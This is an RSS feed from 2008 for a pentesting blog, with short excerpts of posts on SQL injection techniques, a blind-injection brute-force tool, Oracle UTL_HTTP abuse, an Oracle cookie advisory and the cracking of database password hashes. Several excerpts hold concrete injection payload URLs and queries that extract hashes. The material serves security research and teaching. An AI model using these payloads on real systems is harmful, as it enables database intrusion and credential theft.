<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>www.notsosecure.com</title>
	<atom:link href="http://www.notsosecure.com/folder2/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.notsosecure.com/folder2</link>
	<description>From Pentesters To Pentesters</description>
	<pubDate>Fri, 12 Sep 2008 09:56:37 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6.2</generator>
	<language>en</language>
			<item>
		<title>New Theme</title>
		<link>http://www.notsosecure.com/folder2/2008/09/12/new-theme/</link>
		<comments>http://www.notsosecure.com/folder2/2008/09/12/new-theme/#comments</comments>
		<pubDate>Fri, 12 Sep 2008 09:56:37 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Research]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/?p=129</guid>
		<description><![CDATA[NotSoSecure became slighlty more secure with the new Wordpress update.
This update is highly recommended if your wordpress allows user registration.
Its amazing how many vulnerabilities have been identified in wordpress over the years and i wonder how many are yet to come.
]]></description>
		<wfw:commentRss>http://www.notsosecure.com/folder2/2008/09/12/new-theme/feed/</wfw:commentRss>
		</item>
		<item>
		<title>SQL Column Truncation Vulnerabilities</title>
		<link>http://www.notsosecure.com/folder2/2008/09/11/sql-column-truncation-vulnerabilities/</link>
		<comments>http://www.notsosecure.com/folder2/2008/09/11/sql-column-truncation-vulnerabilities/#comments</comments>
		<pubDate>Thu, 11 Sep 2008 14:53:27 +0000</pubDate>
		<dc:creator>sid</dc:creator>
		
		<category><![CDATA[Research]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/2008/09/11/sql-column-truncation-vulnerabilities/</guid>
		<description><![CDATA[I wonder how many web sites will get effected because of this issue. Stefan Esser has a great write up here and the wordpress exploit here.
the following may help you understand this issue better:-
 mysql&#62; create table users (username varchar(10), password varchar(20)); Query OK, 0 rows affected (0.12 sec)
 mysql&#62; insert into users values(&#39;admin&#39;,&#39;Passw0rd&#39;); Query [...]]]></description>
		<wfw:commentRss>http://www.notsosecure.com/folder2/2008/09/11/sql-column-truncation-vulnerabilities/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Injection in Order by, Group by Clause</title>
		<link>http://www.notsosecure.com/folder2/2008/08/01/injection-in-order-by-clause/</link>
		<comments>http://www.notsosecure.com/folder2/2008/08/01/injection-in-order-by-clause/#comments</comments>
		<pubDate>Fri, 01 Aug 2008 14:11:35 +0000</pubDate>
		<dc:creator>sid</dc:creator>
		
		<category><![CDATA[Research]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/2008/08/01/injection-in-order-by-clause/</guid>
		<description><![CDATA[Exploiting SQL Injections when the input goes in the order by clause, is a bit tricky as after &#39;order by&#39; clause union queries are not permitted. The following could be used in such scenario to form blind sql injection cases:
mysql&#62; select id from news where id =1 order by 1, (select case when (1=1) then [...]]]></description>
		<wfw:commentRss>http://www.notsosecure.com/folder2/2008/08/01/injection-in-order-by-clause/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Input Length restriction in SQL Injections</title>
		<link>http://www.notsosecure.com/folder2/2008/07/23/input-length-restriction-in-sql-injections/</link>
		<comments>http://www.notsosecure.com/folder2/2008/07/23/input-length-restriction-in-sql-injections/#comments</comments>
		<pubDate>Wed, 23 Jul 2008 18:47:59 +0000</pubDate>
		<dc:creator>sid</dc:creator>
		
		<category><![CDATA[Research]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/2008/07/23/input-length-restriction-in-sql-injections/</guid>
		<description><![CDATA[Often While exploiting SQL Injections, one encounters restrictions on the length of input a vulnerable parameter can take. e.g

http://myhost/vuln.asp?vuln=a&#39; union all select 1,2,3,4,5,6,@@version&#8211; works


http://myhost/vuln.asp?vuln=a&#39; union all select 1,2,3,4,5,6,table_name from information_schema.tables&#8211; may not work(too long) 

One solution to this problem could be:-

http://myhost/vuln.asp?vuln=a&#39;;select * into xx from information_schema.tables&#8211;


http://myhost/vuln.asp?vuln=a&#39;;exec sp_rename &#39;xx.table_name&#39;,&#39;xx.tn&#39;&#8211;


http://myhost/vuln.asp?vuln=a&#39;union all select 1,2,3,4,5,6,tn from xx&#8211; 

 &#160;Thanks [...]]]></description>
		<wfw:commentRss>http://www.notsosecure.com/folder2/2008/07/23/input-length-restriction-in-sql-injections/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Bsqlbf V2, Blind SQL Injection Brute Forcer</title>
		<link>http://www.notsosecure.com/folder2/2008/06/21/bsqlbf-v2-blind-sql-injection-brute-forcer/</link>
		<comments>http://www.notsosecure.com/folder2/2008/06/21/bsqlbf-v2-blind-sql-injection-brute-forcer/#comments</comments>
		<pubDate>Sat, 21 Jun 2008 09:28:32 +0000</pubDate>
		<dc:creator>sid</dc:creator>
		
		<category><![CDATA[Research]]></category>

		<category><![CDATA[Tools for Wep App Testing]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/2008/06/21/bsqlbf-v2-blind-sql-injection-brute-forcer/</guid>
		<description><![CDATA[Bsqlbf was originally written by &#160;A. Ramos from www.514.es and was intended to exploit blind sql injection against mysql backend database. This is a modified version of the same tool. It supports blind sql injection against the following databases:-
MS-SQL
MY-SQL
PostgreSQL
Oracle
It supports injection in string and integer fields. The feature which separates this tool from all other [...]]]></description>
		<wfw:commentRss>http://www.notsosecure.com/folder2/2008/06/21/bsqlbf-v2-blind-sql-injection-brute-forcer/feed/</wfw:commentRss>
		</item>
		<item>
		<title>If Query Data Manipulation</title>
		<link>http://www.notsosecure.com/folder2/2008/05/26/if-query-data-manipulation/</link>
		<comments>http://www.notsosecure.com/folder2/2008/05/26/if-query-data-manipulation/#comments</comments>
		<pubDate>Mon, 26 May 2008 19:28:38 +0000</pubDate>
		<dc:creator>sid</dc:creator>
		
		<category><![CDATA[Research]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/2008/05/26/if-query-data-manipulation/</guid>
		<description><![CDATA[Occasionally&#160;when exploiting SQL injections there are conditions when application does not show different pages for true and false result of sql query. If the database server does not resolve host names(thus prohibiting out of band attacks), the attack vector that is used to exploit such conditions is to use functions such as &#39;waitfor delay&#39; which [...]]]></description>
		<wfw:commentRss>http://www.notsosecure.com/folder2/2008/05/26/if-query-data-manipulation/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Getting Past the Comma(,) in Oracle SQL Injection</title>
		<link>http://www.notsosecure.com/folder2/2008/05/24/getting-past-the-comma-in-oracle-sql-injection/</link>
		<comments>http://www.notsosecure.com/folder2/2008/05/24/getting-past-the-comma-in-oracle-sql-injection/#comments</comments>
		<pubDate>Sat, 24 May 2008 08:38:01 +0000</pubDate>
		<dc:creator>sid</dc:creator>
		
		<category><![CDATA[Research]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/2008/05/24/getting-past-the-comma-in-oracle-sql-injection/</guid>
		<description><![CDATA[Recently i came across a SQL Injection against oracle database, where the vulnerable parameter was taking comma separated input.
 Thus Valid input will look like:- index.do?id=1,200
 And it was easier to confirm that its vulnerable to sql injection by making true and false responses:-
 True response:- index.do?id=1,200 and 1=1
 False Response:- index.do?id=1,200 and 1=2
 This [...]]]></description>
		<wfw:commentRss>http://www.notsosecure.com/folder2/2008/05/24/getting-past-the-comma-in-oracle-sql-injection/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Exploiting Internal Networks with Oracle UTL_HTTP package</title>
		<link>http://www.notsosecure.com/folder2/2008/04/22/exploiting-internal-networks-with-oracle-utl_http-package/</link>
		<comments>http://www.notsosecure.com/folder2/2008/04/22/exploiting-internal-networks-with-oracle-utl_http-package/#comments</comments>
		<pubDate>Tue, 22 Apr 2008 21:36:19 +0000</pubDate>
		<dc:creator>sid</dc:creator>
		
		<category><![CDATA[Research]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/2008/04/22/exploiting-internal-networks-with-oracle-utl_http-package/</guid>
		<description><![CDATA[
Oracle&#39;s utl_http.request() function has been referred a number of times to carry out sql injection. It is generally used for the purpose of resolving names, so that an attacker could receive the output of his SQL query over DNS channel.
However, this function can also be used to make a legitimate http connection to internal network. [...]]]></description>
		<wfw:commentRss>http://www.notsosecure.com/folder2/2008/04/22/exploiting-internal-networks-with-oracle-utl_http-package/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Oracle 10g Express Edition Cookie&#8217;s issue</title>
		<link>http://www.notsosecure.com/folder2/2008/04/20/oracle-10g-express-edition-cookies-issue/</link>
		<comments>http://www.notsosecure.com/folder2/2008/04/20/oracle-10g-express-edition-cookies-issue/#comments</comments>
		<pubDate>Sun, 20 Apr 2008 10:08:35 +0000</pubDate>
		<dc:creator>sid</dc:creator>
		
		<category><![CDATA[Advisories]]></category>

		<category><![CDATA[Research]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/2008/04/20/oracle-10g-express-edition-cookies-issue/</guid>
		<description><![CDATA[Oracle 10g Express Edition does not invalidate the cookie www_flow_user2 on server when the user logs off.
Tested in version:- Oracle 10g Express edition 10.2.0.1.0, other versions may also be vulnerable.
Patch:- Oracle CPU April 2008 
]]></description>
		<wfw:commentRss>http://www.notsosecure.com/folder2/2008/04/20/oracle-10g-express-edition-cookies-issue/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Database Password Hashes Cracking</title>
		<link>http://www.notsosecure.com/folder2/2008/04/15/database-password-hashes-cracking/</link>
		<comments>http://www.notsosecure.com/folder2/2008/04/15/database-password-hashes-cracking/#comments</comments>
		<pubDate>Tue, 15 Apr 2008 08:42:34 +0000</pubDate>
		<dc:creator>sid</dc:creator>
		
		<category><![CDATA[Research]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/2008/04/15/database-password-hashes-cracking/</guid>
		<description><![CDATA[
SQL Server 2000:-
SELECT password from master.dbo.sysxlogins where name=&#39;sa&#39;&#160;
0&#215;010034767D5C0CFA5FDCA28C4A56085E65E882E71CB0ED250341
2FD54D6119FFF04129A1D72E7C3194F7284A7F3A
 
0&#215;0100- constant header
34767D5C- salt
0CFA5FDCA28C4A56085E65E882E71CB0ED250341- case senstive hash
2FD54D6119FFF04129A1D72E7C3194F7284A7F3A- upper case hash
crack the upper case hash in &#39;cain and abel&#39; and then work the case sentive hash
&#160;
 
SQL server 2005:-
SELECT password_hash FROM sys.sql_logins where name=&#39;sa&#39;
0&#215;0100993BF2315F36CC441485B35C4D84687DC02C78B0E680411F
0&#215;0100- constant header
993BF231-salt
5F36CC441485B35C4D84687DC02C78B0E680411F- case sensitive hash
crack case sensitive hash in cain, try brute force and [...]]]></description>
		<wfw:commentRss>http://www.notsosecure.com/folder2/2008/04/15/database-password-hashes-cracking/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
